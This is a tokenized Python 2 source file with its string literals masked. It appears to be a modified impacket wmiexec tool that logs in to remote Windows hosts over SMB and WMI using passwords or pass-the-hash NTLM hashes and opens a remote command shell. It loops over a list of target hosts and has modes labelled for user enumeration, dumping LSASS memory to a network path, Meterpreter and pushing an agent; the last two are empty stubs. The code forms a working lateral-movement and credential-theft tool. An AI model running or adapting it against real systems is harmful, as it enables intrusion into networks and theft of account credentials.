<s> import sys <EOL> import os <EOL> import cmd <EOL> import argparse <EOL> import time <EOL> import ntpath <EOL> import csv <EOL> from impacket import version , ntlm <EOL> from impacket . smbconnection import * <EOL> from impacket . dcerpc . v5 . dcomrt import DCOMConnection <EOL> from impacket . dcerpc . v5 . dcom import wmi <EOL> from impacket . dcerpc . v5 . dtypes import NULL <EOL> OUTPUT_FILENAME = '<STR_LIT>' <EOL> MODE_ENUMUSER = <NUM_LIT:1> <EOL> MODE_DUMPLSASS = <NUM_LIT:2> <EOL> MODE_METERPRETER = <NUM_LIT:3> <EOL> MODE_PUSHAGENT = <NUM_LIT:4> <EOL> class WMIEXEC : <EOL> def __init__ ( self , psh = '<STR_LIT>' , username = '<STR_LIT>' , password = '<STR_LIT>' , domain = '<STR_LIT>' , hashes = None , share = None , noOutput = False , mode = None , uncpath = None ) : <EOL> self . __psh = psh <EOL> self . __username = username <EOL> self . __password = password <EOL> self . __domain = domain <EOL> self . __lmhash = '<STR_LIT>' <EOL> self . __nthash = '<STR_LIT>' <EOL> self . __mode = mode <EOL> self . __share = share <EOL> self . __uncpath = uncpath <EOL> self . __noOutput = noOutput <EOL> if hashes is not None : <EOL> self . __lmhash , self . __nthash = hashes . split ( '<STR_LIT::>' ) <EOL> def run ( self , addr ) : <EOL> if self . __noOutput is False : <EOL> smbConnection = SMBConnection ( addr , addr ) <EOL> smbConnection . login ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash ) <EOL> dialect = smbConnection . getDialect ( ) <EOL> if dialect == SMB_DIALECT : <EOL> print ( "<STR_LIT>" ) <EOL> elif dialect == SMB2_DIALECT_002 : <EOL> print ( "<STR_LIT>" ) <EOL> elif dialect == SMB2_DIALECT_21 : <EOL> print ( "<STR_LIT>" ) <EOL> else : <EOL> print ( "<STR_LIT>" ) <EOL> else : <EOL> smbConnection = None <EOL> dcom = DCOMConnection ( addr , self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , oxidResolver = True ) <EOL> iInterface = dcom . CoCreateInstanceEx ( wmi . CLSID_WbemLevel1Login , wmi . IID_IWbemLevel1Login ) <EOL> iWbemLevel1Login = wmi . IWbemLevel1Login ( iInterface ) <EOL> iWbemServices = iWbemLevel1Login . NTLMLogin ( '<STR_LIT>' , NULL , NULL ) <EOL> iWbemLevel1Login . RemRelease ( ) <EOL> win32Process , _ = iWbemServices . GetObject ( '<STR_LIT>' ) <EOL> try : <EOL> self . shell = RemoteShell ( self . __share , win32Process , smbConnection ) <EOL> if self . __psh != '<STR_LIT:U+0020>' : <EOL> self . shell . onecmd ( self . __psh ) <EOL> elif self . __mode != None : <EOL> if self . __mode == MODE_ENUMUSER : <EOL> print "<STR_LIT>" <EOL> self . __psh = "<STR_LIT>" <EOL> elif self . __mode == MODE_DUMPLSASS : <EOL> print "<STR_LIT>" + self . __uncpath <EOL> self . __uncpath = self . __uncpath . replace ( "<STR_LIT:\\>" , "<STR_LIT>" ) <EOL> self . __psh = "<STR_LIT>" + self . __uncpath + "<STR_LIT>" <EOL> elif self . __mode == MODE_METERPRETER : <EOL> pass <EOL> elif self . __mode == MODE_PUSHAGENT : <EOL> pass <EOL> self . shell . onecmd ( self . __psh ) <EOL> else : <EOL> print "<STR_LIT>" <EOL> if smbConnection is not None : <EOL> smbConnection . logoff ( ) <EOL> dcom . disconnect ( ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> except ( Exception , KeyboardInterrupt ) , e : <EOL> print e <EOL> if smbConnection is not None : <EOL> smbConnection . logoff ( ) <EOL> dcom . disconnect ( ) <EOL> sys . stdout . flush ( ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if smbConnection is not None : <EOL> smbConnection . logoff ( ) <EOL> dcom . disconnect ( ) <EOL> class RemoteShell ( cmd . Cmd ) : <EOL> def __init__ ( self , share , win32Process , smbConnection ) : <EOL> cmd . Cmd . __init__ ( self ) <EOL> self . __share = share <EOL> self . __output = '<STR_LIT:\\>' + OUTPUT_FILENAME <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> self . __shell = '<STR_LIT>' <EOL> self . __win32Process = win32Process <EOL> self . __transferClient = smbConnection <EOL> self . __pwd = '<STR_LIT>' <EOL> self . __noOutput = False <EOL> self . intro = '<STR_LIT>' <EOL> if self . __transferClient is not None : <EOL> self . __transferClient . setTimeout ( <NUM_LIT> ) <EOL> self . do_cd ( '<STR_LIT:\\>' ) <EOL> else : <EOL> self . __noOutput = True <EOL> def do_shell ( self , s ) : <EOL> os . system ( s ) <EOL> def do_exit ( self , s ) : <EOL> return True <EOL> def emptyline ( self ) : <EOL> return False <EOL> def do_cd ( self , s ) : <EOL> self . execute_remote ( '<STR_LIT>' + s ) <EOL> if len ( self . __outputBuffer . strip ( '<STR_LIT:\r\n>' ) ) > <NUM_LIT:0> : <EOL> print self . __outputBuffer <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> else : <EOL> self . __pwd = ntpath . normpath ( ntpath . join ( self . __pwd , s ) ) <EOL> self . execute_remote ( '<STR_LIT>' ) <EOL> self . __pwd = self . __outputBuffer . strip ( '<STR_LIT:\r\n>' ) <EOL> self . prompt = self . __pwd + '<STR_LIT:>>' <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> def default ( self , line ) : <EOL> if len ( line ) == <NUM_LIT:2> and line [ <NUM_LIT:1> ] == '<STR_LIT::>' : <EOL> self . execute_remote ( line ) <EOL> if len ( self . __outputBuffer . strip ( '<STR_LIT:\r\n>' ) ) > <NUM_LIT:0> : <EOL> print self . __outputBuffer <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> else : <EOL> self . __pwd = line <EOL> self . execute_remote ( '<STR_LIT>' ) <EOL> self . __pwd = self . __outputBuffer . strip ( '<STR_LIT:\r\n>' ) <EOL> self . prompt = self . __pwd + '<STR_LIT:>>' <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> else : <EOL> if line != '<STR_LIT>' : <EOL> self . send_data ( line ) <EOL> def get_output ( self ) : <EOL> def output_callback ( data ) : <EOL> self . __outputBuffer += data <EOL> if self . __noOutput is True : <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> return <EOL> while True : <EOL> try : <EOL> self . __transferClient . getFile ( self . __share , self . __output , output_callback ) <EOL> break <EOL> except Exception , e : <EOL> if str ( e ) . find ( '<STR_LIT>' ) >= <NUM_LIT:0> : <EOL> time . sleep ( <NUM_LIT:1> ) <EOL> pass <EOL> else : <EOL> pass <EOL> self . __transferClient . deleteFile ( self . __share , self . __output ) <EOL> def execute_remote ( self , data ) : <EOL> command = self . __shell + data <EOL> if self . __noOutput is False : <EOL> command += '<STR_LIT>' + '<STR_LIT>' % self . __share + self . __output + '<STR_LIT>' <EOL> obj = self . __win32Process . Create ( command , self . __pwd , None ) <EOL> self . get_output ( ) <EOL> def send_data ( self , data ) : <EOL> self . execute_remote ( data ) <EOL> print self . __outputBuffer <EOL> self . __outputBuffer = '<STR_LIT>' <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> print version . BANNER <EOL> parser = argparse . ArgumentParser ( ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store_true>' , default = False , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = "<STR_LIT>" ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , default = None , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , nargs = '<STR_LIT:*>' , default = '<STR_LIT:U+0020>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = "<STR_LIT:store>" , metavar = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> if len ( sys . argv ) == <NUM_LIT:1> : <EOL> parser . print_help ( ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> options = parser . parse_args ( ) <EOL> if '<STR_LIT:U+0020>' . join ( options . psh ) == '<STR_LIT:U+0020>' and options . mode is None : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if os . path . exists ( options . psh ) : <EOL> print "<STR_LIT>" + options . psh <EOL> try : <EOL> psh = open ( options . psh ) . read ( ) <EOL> except : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> else : <EOL> psh = '<STR_LIT:U+0020>' . join ( options . psh ) <EOL> import re <EOL> if options . hosts is None : <EOL> address = options . host <EOL> else : <EOL> addresses = [ ] <EOL> if options . user is not None : <EOL> try : <EOL> fh = open ( options . hosts ) <EOL> for line in fh . readlines ( ) : <EOL> addresses . append ( line . rstrip ( "<STR_LIT:\n>" ) ) <EOL> fh . close ( ) <EOL> except : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> else : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> try : <EOL> if options . domain is None : <EOL> domain = '<STR_LIT>' <EOL> if options . domain is not None : <EOL> domain = options . domain <EOL> if options . password is None and options . user is not None and options . hashes is None : <EOL> from getpass import getpass <EOL> password = getpass ( "<STR_LIT>" ) <EOL> else : <EOL> password = options . password <EOL> executer = WMIEXEC ( psh , options . user , password , domain , options . hashes , options . share , options . nooutput , int ( options . mode ) , options . uncpath ) <EOL> if options . hosts is not None : <EOL> for host in addresses : <EOL> try : <EOL> executer . run ( host ) <EOL> except ( Exception , KeyboardInterrupt ) , e : <EOL> pass <EOL> else : <EOL> executer . run ( address ) <EOL> except ( Exception , KeyboardInterrupt ) , e : <EOL> print '<STR_LIT>' % e <EOL> sys . exit ( <NUM_LIT:0> ) </s>
